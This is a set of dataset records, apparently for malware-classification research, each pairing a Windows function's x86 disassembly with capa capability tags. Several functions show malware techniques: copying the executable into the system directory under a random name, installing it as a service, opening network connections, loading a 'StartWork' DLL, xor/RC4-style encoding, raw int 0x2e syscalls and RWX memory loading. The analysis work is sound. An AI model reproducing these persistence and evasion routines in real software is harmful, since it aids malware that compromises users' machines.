joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100fd190
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x101aa220]
test esi, esi
jle 0x100fd2b0
mov edi, dword [0x101aa224]
xor ebx, ebx
lea edx, [edi + 0xc]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x100fd1c4
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x100fd249
add ebx, 1
add edx, 0x14
cmp ebx, esi
jne 0x100fd1b0
mov dword [esp], eax
mov ebx, eax
call sym.___mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x100fd2d7
mov eax, dword [0x101aa224]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call sym.__GetPEImageBase
mov edx, dword [0x101aa224]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x100fd2b7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x100fd242
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x100fd250
add dword [0x101aa220], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x101aa224]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x100fd242
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call sym.___report_error
lea esi, [esi]
lea edi, [edi]
xor esi, esi
jmp 0x100fd1ce
mov eax, dword [0x101aa224]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call sym.___report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call sym.___report_error
mov esi, esi
lea edi, [edi]

Function at 0x100fd5c0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x101aa230
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x101aa228]
sub esp, 4
test ebx, ebx
je 0x100fd615
mov ebp, dword [sym.imp.kernel32.dll_TlsGetValue]
mov edi, dword [sym.imp.kernel32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x100fd60e
test esi, esi
je 0x100fd60e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x100fd5f0
mov dword [esp], 0x101aa230
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401030
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x408674]
push ebp
mov ebp, dword [esp + 8]
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 0x88]
test eax, eax
je 0x401194
mov dword [0x408674], esi
mov eax, dword [ebp + 0x8c]
dec eax
cmp eax, 0x20
ja case.0x40106a.16
xor ecx, ecx
mov cl, byte [eax + 0x4011d8]
jmp dword [ecx*4 + 0x401198]
mov esi, 0x4034b0
jmp case.0x40106a.16
mov esi, 0x4035e0
jmp case.0x40106a.16
mov esi, 0x403710
jmp case.0x40106a.16
mov esi, 0x403390
jmp case.0x40106a.16
mov esi, 0x403770
jmp case.0x40106a.16
mov esi, 0x403800
jmp case.0x40106a.16
cmp dword [0x408554], 1
jne case.0x40106a.2
mov esi, 0x4040a0
jmp case.0x40106a.16
mov esi, 0x403280
jmp case.0x40106a.16
mov eax, dword [0x408554]
mov esi, 0x404730
cmp eax, 1
je 0x401160
mov esi, 0x403280
jmp 0x401160
mov eax, dword [0x408554]
mov esi, 0x404c20
cmp eax, 1
je 0x401160
mov esi, 0x403280
jmp 0x401160
mov eax, dword [0x408554]
mov esi, 0x4044c0
cmp eax, 1
je 0x401160
mov esi, 0x403280
jmp 0x401160
mov eax, dword [0x408554]
mov esi, 0x4040a0
cmp eax, 1
je 0x401160
jmp 0x40115b
mov eax, dword [0x408554]
mov esi, 0x404730
cmp eax, 1
je 0x401160
jmp 0x40115b
mov edx, dword [0x408554]
mov esi, 0x4034b0
dec edx
neg edx
sbb edx, edx
and edx, 0xffffffd4
add edx, 0x40
add edi, edx
jmp case.0x40106a.16
mov eax, dword [0x408554]
mov esi, 0x4044c0
cmp eax, 1
je 0x401160
mov esi, 0x4034b0
add edi, 0x14
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
test edi, edi
jbe 0x40117d
push 0
push 0
push ebp
push esi
push 0
push 0
call ebx
dec edi
jne 0x40116e
mov eax, dword [ebp + 0x84]
push 0
push 0
push eax
push section..text
push 0
push 0
call ebx
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x401200
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x408674]
push ebp
push esi
push edi
mov edi, dword [esp + 0x10]
xor ebp, ebp
xor esi, esi
mov ecx, dword [edi + 0x108]
test eax, eax
je 0x4012b3
mov dword [0x408674], esi
mov eax, dword [edi + 0x114]
add eax, 0xfffffffb
cmp eax, 3
ja case.default.0x401232
jmp dword [eax*4 + 0x4012b8]
mov esi, dword [edi + 0x10c]
mov ebp, 0x4039f0
dec esi
neg esi
sbb esi, esi
not esi
and esi, 0x403d20
jmp case.default.0x401232
mov ebp, 0x403d20
jmp case.default.0x401232
mov ebp, 0x403b20
jmp case.default.0x401232
mov ebp, 0x403fb0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
test ecx, ecx
jbe 0x40129c
mov dword [esp + 0x14], ecx
test esi, esi
je 0x401285
push 0
push 0
push edi
push esi
push 0
push 0
call ebx
push 0
push 0
push edi
push ebp
push 0
push 0
call ebx
mov eax, dword [esp + 0x14]
dec eax
mov dword [esp + 0x14], eax
jne 0x401275
mov eax, dword [edi + 0x104]
push 0
push 0
push eax
push section..text
push 0
push 0
call ebx
pop ebx
pop edi
pop esi
pop ebp
ret
Function at 0x4012d0
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x408674]
push ebp
push esi
mov esi, dword [esp + 0xc]
xor ebp, ebp
push edi
mov edi, dword [esi + 0x288]
test eax, eax
je 0x401339
mov dword [0x408674], ebp
mov eax, dword [esi + 0x28c]
sub eax, 0x15
je 0x401303
dec eax
jne 0x401308
mov ebp, 0x405050
jmp 0x401308
mov ebp, 0x404f80
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
test edi, edi
jbe 0x401322
push 0
push 0
push esi
push ebp
push 0
push 0
call ebx
dec edi
jne 0x401313
mov eax, dword [esi + 0x284]
push 0
push 0
push eax
push section..text
push 0
push 0
call ebx
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x401450
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4061d0
push 0x405870
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9f0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0x868], bl
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x867]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x8ec], bl
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x8eb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], ebx
push 0x7d0
lea eax, [ebp - 0x7e8]
push eax
push 0x4082b4
call fcn.00401340
add esp, 0xc
mov esi, eax
mov dword [ebp - 0x86c], esi
push 0x408434
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x4015b7
mov byte [ebp - 0xa00], bl
mov byte [ebp - 0x980], bl
push 0x3a
push esi
mov edi, dword [sym.imp.SHLWAPI.dll_StrChrA]
call edi
mov ecx, 1
sub ecx, esi
add eax, ecx
push eax
push esi
lea edx, [ebp - 0x868]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x3a
push esi
call edi
inc eax
mov dword [ebp - 0x86c], eax
push eax
lea eax, [ebp - 0x8ec]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov word [ebp - 0x900], 2
lea ecx, [ebp - 0x8ec]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x8fe], ax
lea edx, [ebp - 0x868]
push edx
call fcn.00403180
add esp, 4
mov dword [ebp - 0x8fc], eax
push ebx
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov dword [ebp - 0x8f0], esi
push 0x10
lea eax, [ebp - 0x900]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
or edi, 0xffffffff
cmp eax, edi
jne 0x401598
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x4015ba
mov dword [ebp - 4], edi
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
or edi, 0xffffffff
mov dword [ebp - 4], edi
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4016e0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x104
push esi
push edi
mov edi, dword [esp + 0x118]
xor esi, esi
test edi, edi
jne 0x401703
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret
push ebx
mov ebx, dword [esp + 0x114]
push ebp
mov ebp, dword [esp + 0x11c]
mov eax, dword [0x408fd8]
push 0
mov dword [esp + 0x18], eax
push 0
lea ecx, [esp + 0x18]
push 0
lea eax, [ebx + 1]
push ecx
push eax
mov dword [esp + 0x24], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x401772
test eax, eax
je 0x401713
lea edx, [esp + 0x10]
push edx
push ebx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x401713
mov eax, edi
push 0
sub eax, esi
lea ecx, [esi + ebp]
push eax
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x401772
cmp eax, 0xffffffff
je 0x401772
add esi, eax
cmp esi, edi
jb 0x401713
xor eax, eax
pop ebp
cmp esi, edi
pop ebx
pop edi
pop esi
sete al
add esp, 0x104
ret

Function at 0x401790
Capabilities:
Delete file

Disassembly:
sub esp, 0x104
lea eax, [esp]
push ebx
push esi
push 0x20
push str.hra_u.dll
push eax
xor ebx, ebx
call dword [0x408e24]
add esp, 0xc
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x40180f
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.StartWork
push esi
call edi
push str.StopWork
push esi
mov dword [0x409298], eax
call edi
test eax, eax
mov dword [0x40929c], eax
pop edi
je 0x4017fd
mov eax, dword [0x409298]
test eax, eax
je 0x4017fd
pop esi
mov eax, 1
pop ebx
add esp, 0x104
ret
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, ebx
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x402030
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
inc dl
test esi, esi
jbe 0x40205c
mov eax, dword [esp + 8]
mov cl, byte [eax]
sub cl, dl
xor cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x402050
pop esi
ret
Function at 0x4022c0
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
sub esp, 0x110
lea eax, [esp + 0xc]
push ebx
push esi
push edi
push str.SYSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x18]
push str.Nationalxiu
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push 0xf003f
push 0
push eax
push getpeername
call dword [0x408df8]
test eax, eax
je 0x402315
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x20]
push str.ImagePath
push eax
call dword [0x408df4]
test eax, eax
je 0x402361
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x408df0]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0x10]
push edx
call dword [0x408df0]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402388
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push 0
push 3
push 0
push 1
lea ecx, [esp + 0x2c]
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4023b5
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [esp + 0xc], eax
jne 0x4023d9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x4023fb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 0xc]
push 0
push edx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40242d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x120]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
jne 0x40245d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push edx
push ebx
push 0
push 0x66
push 0xa
push esi
call ebp
mov edi, eax
test edi, edi
je 0x402496
push str.Nationalxiu
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push str.Nationalxiu
push 0
push 0x65
push 0xa
push esi
call ebp
mov edi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
pop ebp
test eax, eax
push ebx
jne 0x4024b7
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x110
ret
Function at 0x4028a0
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4061e0
push 0x405870
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x370
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x328]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x220]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x4029ec
push 0x1a
call fcn.00403160
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403160
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403160
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403160
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403160
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403160
add esp, 4
add eax, 0x61
push eax
push str._c_c_c_c_c_c.exe
lea ecx, [ebp - 0x380]
push ecx
call dword [0x408e24]
add esp, 0x20
push 0x40853c
lea edx, [ebp - 0x220]
push edx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
call edi
lea eax, [ebp - 0x380]
push eax
lea ecx, [ebp - 0x220]
push ecx
call edi
push esi
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x328]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [0x4092a0], 1
mov dword [ebp - 0x224], esi
mov dword [ebp - 0x330], esi
mov dword [ebp - 0x32c], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [0x408dec]
mov ebx, eax
mov dword [ebp - 0x32c], ebx
test ebx, ebx
je 0x402af0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x328]
push eax
push 0
push 2
push 0x10
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edi, dword [ebp + 8]
push edi
push ebx
call dword [0x408e18]
mov esi, eax
mov dword [ebp - 0x330], esi
test esi, esi
jne 0x402a86
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x402a86
push 0xf01ff
push edi
push ebx
call dword [0x408de8]
mov esi, eax
mov dword [ebp - 0x330], esi
test esi, esi
je 0x402af0
push 0
push 0
push esi
call dword [0x408e14]
push 0
push 0
push esi
call dword [0x408e14]
test eax, eax
je 0x402af0
push str.SYSTEMCurrentControlSetServices_
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x11c]
push edx
push getpeername
call dword [0x408e10]
mov edi, dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push 1
push 0
push str.Description
mov eax, dword [ebp - 0x224]
push eax
call dword [0x408e0c]
mov dword [ebp - 4], 0xffffffff
call fcn.00402b19
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405760
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x240
lea eax, [esp + 0x13c]
push ebx
push esi
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x148]
push str.svchost.exe
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x405863
lea edx, [esp + 0x148]
push 0x408dd0
push edx
call sub.MSVCRT.dll_fopen
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x405863
lea eax, [esp + 0xc]
lea ecx, [esp + 0x68]
push eax
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x30]
push edx
push eax
push ebx
call fcn.00405110
add esp, 0x14
test al, al
je 0x40584b
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x68]
push ecx
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.00405250
add esp, 0x10
mov edi, eax
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x405863
mov edx, dword [esp + 0xc]
push esi
lea eax, [esp + 0x6c]
push edx
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
push ebx
call fcn.004052e0
mov eax, dword [esp + 0x24]
push edi
push esi
lea ecx, [esp + 0x88]
push eax
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x50]
push edx
push eax
call fcn.00405570
add esp, 0x30
push ebx
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x240
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x240
ret
Function at 0xde6370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xde638e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xe0f074
push ecx
mov edi, eax
call fcn.00dfa198
mov esi, eax
add esp, 8
test esi, esi
jne 0xde63cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00dfa02e
push esi
call fcn.00df9fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xde9850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xde98ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xe14720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xde98ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00dfa1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xde98ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xe14720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xde992a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00dfb082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xde9957
mov word [eax], si
add eax, 2
push eax
call fcn.00dfb030
add esp, 4
jmp 0xde9959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xde98ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xde98b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xde9ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xdea080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xdea0c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xe0f458
push ecx
call fcn.00dfa1e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00dfa1e1
add esp, 0x10
jmp 0xdea0d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00dfa20b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00df9dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00dea050
mov eax, dword [0xe14728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xdea13b
push esi
call fcn.00de9fb0
add esp, 4
mov dword [0xe14728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xdea14c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00de9ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xded440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xded4b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xded48e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xded471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xded47e
add edx, ecx
cmp ebx, edx
jb 0xded48a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xded467
xor ecx, ecx
jmp 0xded4a2
test eax, eax
jne 0xded492
xor ecx, ecx
jmp 0xded4a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00ded3c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret